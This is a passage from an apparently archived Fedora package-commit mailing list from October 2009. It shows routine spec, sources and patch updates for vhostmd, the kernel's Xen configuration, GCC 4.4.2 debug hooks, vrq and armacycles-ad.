-@@ -7020,6 +7027,7 @@ static int __migrate_task(struct task_struct *p, int src_cpu, int dest_cpu)
- {
- 	struct rq *rq_dest, *rq_src;
- 	int ret = 0, on_rq;
-+	struct migration_notifier mn;
- 
- 	if (unlikely(!cpu_active(dest_cpu)))
- 		return ret;
-@@ -7044,6 +7052,13 @@ static int __migrate_task(struct task_struct *p, int src_cpu, int dest_cpu)
- 		activate_task(rq_dest, p, 0);
- 		check_preempt_curr(rq_dest, p, 0);
- 	}
+ 		p->se.nr_migrations++;
+ 		new_rq->nr_migrations_in++;
+ #ifdef CONFIG_SCHEDSTATS
+@@ -1981,6 +1989,12 @@ void set_task_cpu(struct task_struct *p, unsigned int new_cpu)
+ #endif
+ 		perf_swcounter_event(PERF_COUNT_SW_CPU_MIGRATIONS,
+ 				     1, 1, NULL, 0);
 +
-+	mn.task = p;
-+	mn.from_cpu = src_cpu;
-+	mn.to_cpu = dest_cpu;
-+
-+	atomic_notifier_call_chain(&migration_notifications, 0, &mn);
-+
- done:
- 	ret = 1;
- fail:
++		tmn.task = p;
++		tmn.from_cpu = old_cpu;
++		tmn.to_cpu = new_cpu;
++
++		atomic_notifier_call_chain(&task_migration_notifier, 0, &tmn);
+ 	}
+ 	p->se.vruntime -= old_cfsrq->min_vruntime -
+ 					 new_cfsrq->min_vruntime;
 diff --git a/lib/swiotlb.c b/lib/swiotlb.c
 index bffe6d7..cec5f62 100644
 --- a/lib/swiotlb.c



From rjones at fedoraproject.org  Fri Oct 16 16:10:41 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Fri, 16 Oct 2009 16:10:41 +0000 (UTC)
Subject: rpms/vhostmd/devel sources,1.3,1.4 vhostmd.spec,1.2,1.3
Message-ID: <20091016161041.2EF2911C02A2@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/vhostmd/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16338

Modified Files:
	sources vhostmd.spec 
Log Message:
* Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 0.4-0.5.gite9db007b
- New upstream based on git e9db007b.
- Fix segfault in vm-dump-metrics (RHBZ#529348).
- On error, vm-dump-metrics now exits with status code 1.




Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/vhostmd/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	15 Oct 2009 17:29:08 -0000	1.3
+++ sources	16 Oct 2009 16:10:40 -0000	1.4
@@ -1 +1 @@
-e241097003a7a8eb1898fcc152581596  vhostmd-0.4.tar.bz2
+139650528c154da52a65adedfb8e83cf  vhostmd-0.4.tar.bz2


Index: vhostmd.spec
===================================================================
RCS file: /cvs/pkgs/rpms/vhostmd/devel/vhostmd.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- vhostmd.spec	15 Oct 2009 17:29:08 -0000	1.2
+++ vhostmd.spec	16 Oct 2009 16:10:40 -0000	1.3
@@ -8,7 +8,7 @@
 Summary:       Virtualization host metrics daemon
 Name:          vhostmd
 Version:       0.4
-Release:       0.2.gitea2f772d%{?dist}
+Release:       0.5.gite9db007b%{?dist}
 License:       GPLv2+
 Group:         System Environment/Daemons
 BuildRoot:     %{_tmppath}/%{name}-%{version}-%{release}-root
@@ -183,6 +183,11 @@ exit 0
 
 
 %changelog
+* Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 0.4-0.5.gite9db007b
+- New upstream based on git e9db007b.
+- Fix segfault in vm-dump-metrics (RHBZ#529348).
+- On error, vm-dump-metrics now exits with status code 1.
+
 * Thu Oct 15 2009 Richard W.M. Jones <rjones at redhat.com> - 0.4-0.2.gitea2f772d
 - New upstream based on git ea2f772d.
 - Update the configuration file based on upstream changes to how virsh



From rjones at fedoraproject.org  Fri Oct 16 16:10:56 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Fri, 16 Oct 2009 16:10:56 +0000 (UTC)
Subject: rpms/vhostmd/F-12 sources,1.3,1.4 vhostmd.spec,1.2,1.3
Message-ID: <20091016161056.3918A11C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/vhostmd/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16432

Modified Files:
	sources vhostmd.spec 
Log Message:
* Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 0.4-0.5.gite9db007b
- New upstream based on git e9db007b.
- Fix segfault in vm-dump-metrics (RHBZ#529348).
- On error, vm-dump-metrics now exits with status code 1.




Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/vhostmd/F-12/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	15 Oct 2009 17:53:54 -0000	1.3
+++ sources	16 Oct 2009 16:10:56 -0000	1.4
@@ -1 +1 @@
-e241097003a7a8eb1898fcc152581596  vhostmd-0.4.tar.bz2
+139650528c154da52a65adedfb8e83cf  vhostmd-0.4.tar.bz2


Index: vhostmd.spec
===================================================================
RCS file: /cvs/pkgs/rpms/vhostmd/F-12/vhostmd.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- vhostmd.spec	15 Oct 2009 17:53:54 -0000	1.2
+++ vhostmd.spec	16 Oct 2009 16:10:56 -0000	1.3
@@ -8,7 +8,7 @@
 Summary:       Virtualization host metrics daemon
 Name:          vhostmd
 Version:       0.4
-Release:       0.2.gitea2f772d%{?dist}
+Release:       0.5.gite9db007b%{?dist}
 License:       GPLv2+
 Group:         System Environment/Daemons
 BuildRoot:     %{_tmppath}/%{name}-%{version}-%{release}-root
@@ -183,6 +183,11 @@ exit 0
 
 
 %changelog
+* Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 0.4-0.5.gite9db007b
+- New upstream based on git e9db007b.
+- Fix segfault in vm-dump-metrics (RHBZ#529348).
+- On error, vm-dump-metrics now exits with status code 1.
+
 * Thu Oct 15 2009 Richard W.M. Jones <rjones at redhat.com> - 0.4-0.2.gitea2f772d
 - New upstream based on git ea2f772d.
 - Update the configuration file based on upstream changes to how virsh



From rjones at fedoraproject.org  Fri Oct 16 16:10:59 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Fri, 16 Oct 2009 16:10:59 +0000 (UTC)
Subject: rpms/vhostmd/F-11 sources,1.3,1.4 vhostmd.spec,1.2,1.3
Message-ID: <20091016161059.AD68011C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/vhostmd/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16452

Modified Files:
	sources vhostmd.spec 
Log Message:
* Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 0.4-0.5.gite9db007b
- New upstream based on git e9db007b.
- Fix segfault in vm-dump-metrics (RHBZ#529348).
- On error, vm-dump-metrics now exits with status code 1.




Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/vhostmd/F-11/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	15 Oct 2009 17:53:56 -0000	1.3
+++ sources	16 Oct 2009 16:10:59 -0000	1.4
@@ -1 +1 @@
-e241097003a7a8eb1898fcc152581596  vhostmd-0.4.tar.bz2
+139650528c154da52a65adedfb8e83cf  vhostmd-0.4.tar.bz2


Index: vhostmd.spec
===================================================================
RCS file: /cvs/pkgs/rpms/vhostmd/F-11/vhostmd.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- vhostmd.spec	15 Oct 2009 17:53:57 -0000	1.2
+++ vhostmd.spec	16 Oct 2009 16:10:59 -0000	1.3
@@ -8,7 +8,7 @@
 Summary:       Virtualization host metrics daemon
 Name:          vhostmd
 Version:       0.4
-Release:       0.2.gitea2f772d%{?dist}
+Release:       0.5.gite9db007b%{?dist}
 License:       GPLv2+
 Group:         System Environment/Daemons
 BuildRoot:     %{_tmppath}/%{name}-%{version}-%{release}-root
@@ -183,6 +183,11 @@ exit 0
 
 
 %changelog
+* Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 0.4-0.5.gite9db007b
+- New upstream based on git e9db007b.
+- Fix segfault in vm-dump-metrics (RHBZ#529348).
+- On error, vm-dump-metrics now exits with status code 1.
+
 * Thu Oct 15 2009 Richard W.M. Jones <rjones at redhat.com> - 0.4-0.2.gitea2f772d
 - New upstream based on git ea2f772d.
 - Update the configuration file based on upstream changes to how virsh



From rjones at fedoraproject.org  Fri Oct 16 16:11:03 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Fri, 16 Oct 2009 16:11:03 +0000 (UTC)
Subject: rpms/vhostmd/EL-5 sources,1.3,1.4 vhostmd.spec,1.4,1.5
Message-ID: <20091016161103.297AE11C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/vhostmd/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16468

Modified Files:
	sources vhostmd.spec 
Log Message:
* Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 0.4-0.5.gite9db007b
- New upstream based on git e9db007b.
- Fix segfault in vm-dump-metrics (RHBZ#529348).
- On error, vm-dump-metrics now exits with status code 1.




Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/vhostmd/EL-5/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	15 Oct 2009 17:54:02 -0000	1.3
+++ sources	16 Oct 2009 16:11:02 -0000	1.4
@@ -1 +1 @@
-e241097003a7a8eb1898fcc152581596  vhostmd-0.4.tar.bz2
+139650528c154da52a65adedfb8e83cf  vhostmd-0.4.tar.bz2


Index: vhostmd.spec
===================================================================
RCS file: /cvs/pkgs/rpms/vhostmd/EL-5/vhostmd.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- vhostmd.spec	16 Oct 2009 09:11:17 -0000	1.4
+++ vhostmd.spec	16 Oct 2009 16:11:03 -0000	1.5
@@ -8,7 +8,7 @@
 Summary:       Virtualization host metrics daemon
 Name:          vhostmd
 Version:       0.4
-Release:       0.4.gitea2f772d%{?dist}
+Release:       0.5.gite9db007b%{?dist}
 License:       GPLv2+
 Group:         System Environment/Daemons
 BuildRoot:     %{_tmppath}/%{name}-%{version}-%{release}-root
@@ -183,6 +183,11 @@ exit 0
 
 
 %changelog
+* Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 0.4-0.5.gite9db007b
+- New upstream based on git e9db007b.
+- Fix segfault in vm-dump-metrics (RHBZ#529348).
+- On error, vm-dump-metrics now exits with status code 1.
+
 * Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 0.4-0.4.gitea2f772d
 - Re-add xen-devel dependency.  This is a bug in EPEL builders.
 



From myoung at fedoraproject.org  Fri Oct 16 16:31:16 2009
From: myoung at fedoraproject.org (myoung)
Date: Fri, 16 Oct 2009 16:31:16 +0000 (UTC)
Subject: rpms/kernel/devel config-generic, 1.238.6.42, 1.238.6.43 kernel.spec,
	1.1294.2.72, 1.1294.2.73 linux-2.6-frace-fixes.patch, 1.1.2.1,
	NONE linux-2.6.31-modules-ro-nx.patch, 1.2.2.2,
	NONE linux-2.6.31-nx-data.patch, 1.1.2.2,
	NONE patch-2.6.31.3.bz2.sign, 1.1.2.1, NONE
Message-ID: <20091016163116.8F3AD11C00E5@cvs1.fedora.phx.redhat.com>

Author: myoung

Update of /cvs/pkgs/rpms/kernel/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23078

Modified Files:
      Tag: private-myoung-dom0-branch
	config-generic kernel.spec 
Removed Files:
      Tag: private-myoung-dom0-branch
	linux-2.6-frace-fixes.patch linux-2.6.31-modules-ro-nx.patch 
	linux-2.6.31-nx-data.patch patch-2.6.31.3.bz2.sign 
Log Message:
add some pvops config options and tidy up



Index: config-generic
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/config-generic,v
retrieving revision 1.238.6.42
retrieving revision 1.238.6.43
diff -u -p -r1.238.6.42 -r1.238.6.43
--- config-generic	16 Oct 2009 16:09:20 -0000	1.238.6.42
+++ config-generic	16 Oct 2009 16:31:15 -0000	1.238.6.43
@@ -4071,3 +4071,5 @@ CONFIG_XEN_GNTDEV=y
 CONFIG_XEN_PCI_PASSTHROUGH=y
 # CONFIG_XEN_PCI_PASSTHROUGH_DEBUG is not set
 # CONFIG_X86_DS_SELFTEST is not set
+CONFIG_XEN_PCIDEV_BACKEND=y
+# CONFIG_XEN_PCIDEV_BE_DEBUG is not set


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/kernel.spec,v
retrieving revision 1.1294.2.72
retrieving revision 1.1294.2.73
diff -u -p -r1.1294.2.72 -r1.1294.2.73
--- kernel.spec	16 Oct 2009 16:09:24 -0000	1.1294.2.72
+++ kernel.spec	16 Oct 2009 16:31:15 -0000	1.1294.2.73
@@ -2074,6 +2074,7 @@ fi
 %changelog
 * Fri Oct 16 2009 Michael Young <m.a.young at durham.ac.uk>
 - update pvops patch to 2.6.31.4
+- add configuration options for XEN_PCIDEV_BACKEND and XEN_PCIDEV_BE_DEBUG
 
 * Fri Oct 16 2009 Chuck Ebbert <cebbert at redhat.com> 2.6.31.4-85
 - Fix another ACPI boot hang (#513680)


--- linux-2.6-frace-fixes.patch DELETED ---


--- linux-2.6.31-modules-ro-nx.patch DELETED ---


--- linux-2.6.31-nx-data.patch DELETED ---


--- patch-2.6.31.3.bz2.sign DELETED ---



From jakub at fedoraproject.org  Fri Oct 16 16:42:34 2009
From: jakub at fedoraproject.org (Jakub Jelinek)
Date: Fri, 16 Oct 2009 16:42:34 +0000 (UTC)
Subject: rpms/gcc/F-12 .cvsignore, 1.301, 1.302 gcc.spec, 1.80, 1.81 sources,
	1.305, 1.306
Message-ID: <20091016164234.59ACF11C00E5@cvs1.fedora.phx.redhat.com>

Author: jakub

Update of /cvs/pkgs/rpms/gcc/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25740

Modified Files:
	.cvsignore gcc.spec sources 
Log Message:
4.4.2-2


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gcc/F-12/.cvsignore,v
retrieving revision 1.301
retrieving revision 1.302
diff -u -p -r1.301 -r1.302
--- .cvsignore	15 Oct 2009 18:53:25 -0000	1.301
+++ .cvsignore	16 Oct 2009 16:42:34 -0000	1.302
@@ -1,2 +1,2 @@
 fastjar-0.97.tar.gz
-gcc-4.4.2-20091015.tar.bz2
+gcc-4.4.2-20091016.tar.bz2


Index: gcc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gcc/F-12/gcc.spec,v
retrieving revision 1.80
retrieving revision 1.81
diff -u -p -r1.80 -r1.81
--- gcc.spec	15 Oct 2009 18:53:25 -0000	1.80
+++ gcc.spec	16 Oct 2009 16:42:34 -0000	1.81
@@ -1,9 +1,9 @@
-%global DATE 20091015
-%global SVNREV 152859
+%global DATE 20091016
+%global SVNREV 152909
 %global gcc_version 4.4.2
 # Note, gcc_release must be integer, if you want to add suffixes to
 # %{release}, append them after %{gcc_release} on Release: line.
-%global gcc_release 1
+%global gcc_release 2
 %global _unpackaged_files_terminate_build 0
 %global multilib_64_archs sparc64 ppc64 s390x x86_64
 %global include_gappletviewer 1
@@ -164,6 +164,7 @@ Patch18: gcc44-libstdc++-docs.patch
 Patch19: gcc44-ppc64-aixdesc.patch
 Patch20: gcc44-pr40521.patch
 Patch21: gcc44-unwind-leltgegt.patch
+Patch22: gcc44-pr40521-2.patch
 
 Patch1000: fastjar-0.97-segfault.patch
 
@@ -472,6 +473,7 @@ which are required to compile with the G
 %patch19 -p0 -b .ppc64-aixdesc~
 %patch20 -p0 -b .pr40521~
 %patch21 -p0 -b .unwind-leltgegt~
+%patch22 -p0 -b .pr40521-2~
 
 # This testcase doesn't compile.
 rm libjava/testsuite/libjava.lang/PR35020*
@@ -1846,6 +1848,13 @@ fi
 %doc rpm.doc/changelogs/libmudflap/ChangeLog*
 
 %changelog
+* Fri Oct 16 2009 Jakub Jelinek <jakub at redhat.com> 4.4.2-2
+- update from gcc-4_4-branch
+  - PR target/40913
+- VTA backports
+  - PR debug/41717
+- fix Ada .eh_frame generation (PR debug/40521)
+
 * Thu Oct 15 2009 Jakub Jelinek <jakub at redhat.com> 4.4.2-1
 - update from gcc-4_4-branch
   - GCC 4.4.2 release


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gcc/F-12/sources,v
retrieving revision 1.305
retrieving revision 1.306
diff -u -p -r1.305 -r1.306
--- sources	15 Oct 2009 18:53:25 -0000	1.305
+++ sources	16 Oct 2009 16:42:34 -0000	1.306
@@ -1,2 +1,2 @@
 2659f09c2e43ef8b7d4406321753f1b2  fastjar-0.97.tar.gz
-4df111e31b39e6a0d37ed5cbe2ff97a3  gcc-4.4.2-20091015.tar.bz2
+4de70ea1225876c24389dded5dd39b9d  gcc-4.4.2-20091016.tar.bz2



From jakub at fedoraproject.org  Fri Oct 16 16:56:36 2009
From: jakub at fedoraproject.org (Jakub Jelinek)
Date: Fri, 16 Oct 2009 16:56:36 +0000 (UTC)
Subject: rpms/gcc/F-12 gcc44-pr40521-2.patch,NONE,1.1
Message-ID: <20091016165636.6536011C00E5@cvs1.fedora.phx.redhat.com>

Author: jakub

Update of /cvs/pkgs/rpms/gcc/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30238

Added Files:
	gcc44-pr40521-2.patch 
Log Message:
4.4.2-2

gcc44-pr40521-2.patch:
 cgraphunit.c |    1 +
 dbxout.c     |    2 ++
 debug.c      |    1 +
 debug.h      |    4 ++++
 dwarf2out.c  |   10 ++++++++++
 sdbout.c     |    1 +
 vmsdbgout.c  |   11 +++++++++++
 7 files changed, 30 insertions(+)

--- NEW FILE gcc44-pr40521-2.patch ---
2009-10-16  Jakub Jelinek  <jakub at redhat.com>

	PR debug/40521
	* debug.h (struct gcc_debug_hooks): Add assembly_start hook.
	* cgraphunit.c (cgraph_optimize): Call it.
	* dwarf2out.c (dwarf2out_init): Move .cfi_sections printing into...
	(dwarf2out_assembly_start): ... here.  New hook.
	(dwarf2out_debug_hooks): Add dwarf2out_assembly_start.
	* debug.c (do_nothing_debug_hooks): Do nothing for assembly_start
	hook.
	* dbxout.c (dbx_debug_hooks, xcoff_debug_hooks): Likewise.
	* sdbout.c (sdb_debug_hooks): Likewise.
	* vmsdbgout.c (vmsdbg_debug_hooks): Add vmsdbgout_assembly_start.
	(vmsdbgout_assembly_start): New hook.

--- gcc/debug.h.jj	2009-10-13 16:20:12.000000000 +0200
+++ gcc/debug.h	2009-10-16 17:48:10.000000000 +0200
@@ -31,6 +31,10 @@ struct gcc_debug_hooks
   /* Output debug symbols.  */
   void (* finish) (const char *main_filename);
 
+  /* Called from cgraph_optimize before starting to assemble
+     functions/variables/toplevel asms.  */
+  void (* assembly_start) (void);
+
   /* Macro defined on line LINE with name and expansion TEXT.  */
   void (* define) (unsigned int line, const char *text);
 
--- gcc/cgraphunit.c.jj	2009-10-13 16:20:12.000000000 +0200
+++ gcc/cgraphunit.c	2009-10-16 17:57:06.000000000 +0200
@@ -1441,6 +1441,7 @@ cgraph_optimize (void)
   timevar_pop (TV_CGRAPHOPT);
 
   /* Output everything.  */
+  (*debug_hooks->assembly_start) ();
   if (!quiet_flag)
     fprintf (stderr, "Assembling functions:\n");
 #ifdef ENABLE_CHECKING
--- gcc/dwarf2out.c.jj	2009-10-16 01:51:02.000000000 +0200
+++ gcc/dwarf2out.c	2009-10-16 18:00:31.000000000 +0200
@@ -5401,6 +5401,7 @@ static int output_indirect_string (void 
 
 static void dwarf2out_init (const char *);
 static void dwarf2out_finish (const char *);
+static void dwarf2out_assembly_start (void);
 static void dwarf2out_define (unsigned int, const char *);
 static void dwarf2out_undef (unsigned int, const char *);
 static void dwarf2out_start_source_file (unsigned, const char *);
@@ -5427,6 +5428,7 @@ const struct gcc_debug_hooks dwarf2_debu
 {
   dwarf2out_init,
   dwarf2out_finish,
+  dwarf2out_assembly_start,
   dwarf2out_define,
   dwarf2out_undef,
   dwarf2out_start_source_file,
@@ -20392,6 +20394,14 @@ dwarf2out_init (const char *filename ATT
       ASM_OUTPUT_LABEL (asm_out_file, cold_text_section_label);
     }
 
+}
+
+/* Called before cgraph_optimize starts outputtting functions, variables
+   and toplevel asms into assembly.  */
+
+static void
+dwarf2out_assembly_start (void)
+{
   if (HAVE_GAS_CFI_SECTIONS_DIRECTIVE && dwarf2out_do_cfi_asm ())
     {
 #ifndef TARGET_UNWIND_INFO
--- gcc/debug.c.jj	2009-10-13 16:20:12.000000000 +0200
+++ gcc/debug.c	2009-10-16 17:49:02.000000000 +0200
@@ -27,6 +27,7 @@ const struct gcc_debug_hooks do_nothing_
 {
   debug_nothing_charstar,
   debug_nothing_charstar,
+  debug_nothing_void,
   debug_nothing_int_charstar,
   debug_nothing_int_charstar,
   debug_nothing_int_charstar,
--- gcc/dbxout.c.jj	2009-10-13 16:20:12.000000000 +0200
+++ gcc/dbxout.c	2009-10-16 17:50:58.000000000 +0200
@@ -346,6 +346,7 @@ const struct gcc_debug_hooks dbx_debug_h
 {
   dbxout_init,
   dbxout_finish,
+  debug_nothing_void,
   debug_nothing_int_charstar,
   debug_nothing_int_charstar,
   dbxout_start_source_file,
@@ -386,6 +387,7 @@ const struct gcc_debug_hooks xcoff_debug
 {
   dbxout_init,
   dbxout_finish,
+  debug_nothing_void,
   debug_nothing_int_charstar,
   debug_nothing_int_charstar,
   dbxout_start_source_file,
--- gcc/sdbout.c.jj	2009-10-13 16:20:12.000000000 +0200
+++ gcc/sdbout.c	2009-10-16 17:53:15.000000000 +0200
@@ -307,6 +307,7 @@ const struct gcc_debug_hooks sdb_debug_h
 {
   sdbout_init,			         /* init */
   sdbout_finish,		         /* finish */
+  debug_nothing_void,			 /* assembly_start */
   debug_nothing_int_charstar,	         /* define */
   debug_nothing_int_charstar,	         /* undef */
   sdbout_start_source_file,	         /* start_source_file */
--- gcc/vmsdbgout.c.jj	2009-10-13 16:20:11.000000000 +0200
+++ gcc/vmsdbgout.c	2009-10-16 18:01:46.000000000 +0200
@@ -168,6 +168,7 @@ static int write_srccorrs (int);
 
 static void vmsdbgout_init (const char *);
 static void vmsdbgout_finish (const char *);
+static void vmsdbgout_assembly_start (void);
 static void vmsdbgout_define (unsigned int, const char *);
 static void vmsdbgout_undef (unsigned int, const char *);
 static void vmsdbgout_start_source_file (unsigned int, const char *);
@@ -190,6 +191,7 @@ static void vmsdbgout_abstract_function 
 const struct gcc_debug_hooks vmsdbg_debug_hooks
 = {vmsdbgout_init,
    vmsdbgout_finish,
+   vmsdbgout_assembly_start,
    vmsdbgout_define,
    vmsdbgout_undef,
    vmsdbgout_start_source_file,
@@ -1618,6 +1620,15 @@ vmsdbgout_init (const char *main_input_f
 /* Not implemented in VMS Debug.  */
 
 static void
+vmsdbgout_assembly_start (void)
+{
+  if (write_symbols == VMS_AND_DWARF2_DEBUG)
+    (*dwarf2_debug_hooks.assembly_start) ();
+}
+
+/* Not implemented in VMS Debug.  */
+
+static void
 vmsdbgout_define (unsigned int lineno, const char *buffer)
 {
   if (write_symbols == VMS_AND_DWARF2_DEBUG)



From shakthimaan at fedoraproject.org  Fri Oct 16 17:00:15 2009
From: shakthimaan at fedoraproject.org (Shakthi Kannan)
Date: Fri, 16 Oct 2009 17:00:15 +0000 (UTC)
Subject: rpms/vrq/devel .cvsignore, 1.3, 1.4 import.log, 1.2, 1.3 sources,
	1.3, 1.4 vrq.spec, 1.2, 1.3
Message-ID: <20091016170015.67C8511C02A2@cvs1.fedora.phx.redhat.com>

Author: shakthimaan

Update of /cvs/pkgs/rpms/vrq/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31155/devel

Modified Files:
	.cvsignore import.log sources vrq.spec 
Log Message:
Updated to package 1.0.62.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	11 Oct 2009 05:30:31 -0000	1.3
+++ .cvsignore	16 Oct 2009 17:00:14 -0000	1.4
@@ -1 +1 @@
-vrq-1.0.61.tar.gz
+vrq-1.0.62.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/devel/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	11 Oct 2009 05:37:03 -0000	1.2
+++ import.log	16 Oct 2009 17:00:14 -0000	1.3
@@ -1,2 +1,3 @@
 vrq-1_0_61-1_fc11:HEAD:vrq-1.0.61-1.fc11.src.rpm:1255239101
 vrq-1_0_61-1_fc11:HEAD:vrq-1.0.61-1.fc11.src.rpm:1255239819
+vrq-1_0_62-1_fc11:HEAD:vrq-1.0.62-1.fc11.src.rpm:1255712756


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	11 Oct 2009 05:30:32 -0000	1.3
+++ sources	16 Oct 2009 17:00:15 -0000	1.4
@@ -1 +1 @@
-48c7cc3bae486878b2f6e2fe353fc6c5  vrq-1.0.61.tar.gz
+5615c019e54dc5b62f040d1d95adaa51  vrq-1.0.62.tar.gz


Index: vrq.spec
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/devel/vrq.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- vrq.spec	11 Oct 2009 05:30:32 -0000	1.2
+++ vrq.spec	16 Oct 2009 17:00:15 -0000	1.3
@@ -1,5 +1,5 @@
 Name:           vrq
-Version:        1.0.61
+Version:        1.0.62
 Release:        1%{?dist}
 Summary:        Verilog tool framework with plugins for manipulating source code
 
@@ -69,8 +69,11 @@ to develop backend plugin customization 
 %{_includedir}/%{name}-%{version}
 
 %changelog
+* Thu Oct 15 2009 Shakthi Kannan <shakthimaan [AT] gmail DOT com> - 1.0.62-1
+- Updated to upstream package 1.0.62
+
 * Sat Oct 10 2009 Shakthi Kannan <shakthimaan [AT] gmail DOT com> - 1.0.61-1
-- Updated to upstream packae 1.0.61
+- Updated to upstream package 1.0.61
 
 * Sun Sep 13 2009 Shakthi Kannan <shakthimaan [AT] gmail DOT com> - 1.0.58-3
 - Removed ldconfig for post and postun as shared library not in /usr/lib



From limb at fedoraproject.org  Fri Oct 16 17:01:34 2009
From: limb at fedoraproject.org (Jon Ciesla)
Date: Fri, 16 Oct 2009 17:01:34 +0000 (UTC)
Subject: rpms/armacycles-ad/devel .cvsignore, 1.4, 1.5 armacycles-ad.spec,
	1.14, 1.15 sources, 1.4, 1.5
Message-ID: <20091016170134.8A99711C00E5@cvs1.fedora.phx.redhat.com>

Author: limb

Update of /cvs/pkgs/rpms/armacycles-ad/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31673

Modified Files:
	.cvsignore armacycles-ad.spec sources 
Log Message:
New upstream.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/armacycles-ad/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	18 Sep 2009 18:14:23 -0000	1.4
+++ .cvsignore	16 Oct 2009 17:01:34 -0000	1.5
@@ -1 +1 @@
-armagetronad-0.2.8.3_rc3.src.tar.bz2
+armagetronad-0.2.8.3_rc4.src.tar.bz2


Index: armacycles-ad.spec
===================================================================
RCS file: /cvs/pkgs/rpms/armacycles-ad/devel/armacycles-ad.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- armacycles-ad.spec	18 Sep 2009 18:14:23 -0000	1.14
+++ armacycles-ad.spec	16 Oct 2009 17:01:34 -0000	1.15
@@ -1,12 +1,12 @@
 Name: armacycles-ad
 Version: 0.2.8.3
-Release: 1.rc3%{?dist}
+Release: 1.rc4%{?dist}
 Summary: A lightcycle game in 3D
 
 Group: Amusements/Games
 License: GPLv2+
 URL: http://armagetronad.sf.net
-Source0: http://downloads.sourceforge.net/armagetronad/armagetronad-0.2.8.3_rc3.src.tar.bz2
+Source0: http://downloads.sourceforge.net/armagetronad/armagetronad-0.2.8.3_rc4.src.tar.bz2
 Source1: armacycles-logo.jpg
 Source2: armacycles-ad.desktop
 #Patch0: armacycles-ad-0.2.8.2.1-md5-stringh.patch
@@ -54,7 +54,7 @@ the internet and/or the LAN.
 
 
 %prep
-%setup -qn armagetronad-0.2.8.3_rc3
+%setup -qn armagetronad-0.2.8.3_rc4
 #insert modified logo
 cp %{SOURCE1} textures/title.jpg
 # remove krawall logo
@@ -173,6 +173,9 @@ fi
 
 
 %changelog
+* Fri Oct 16 2009 Jon Ciesla <limb at jcomserv.net> - 0.2.8.3-1.rc4
+- New upstream.
+
 * Fri Sep 18 2009 Jon Ciesla <limb at jcomserv.net> - 0.2.8.3-1.rc3
 - New upstream.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/armacycles-ad/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	18 Sep 2009 18:14:23 -0000	1.4
+++ sources	16 Oct 2009 17:01:34 -0000	1.5
@@ -1 +1 @@
-848cca055b7b388abf9dda70477d271a  armagetronad-0.2.8.3_rc3.src.tar.bz2
+a83837f7e4935a0dbf5dce32e94779fc  armagetronad-0.2.8.3_rc4.src.tar.bz2



From shakthimaan at fedoraproject.org  Fri Oct 16 17:02:24 2009
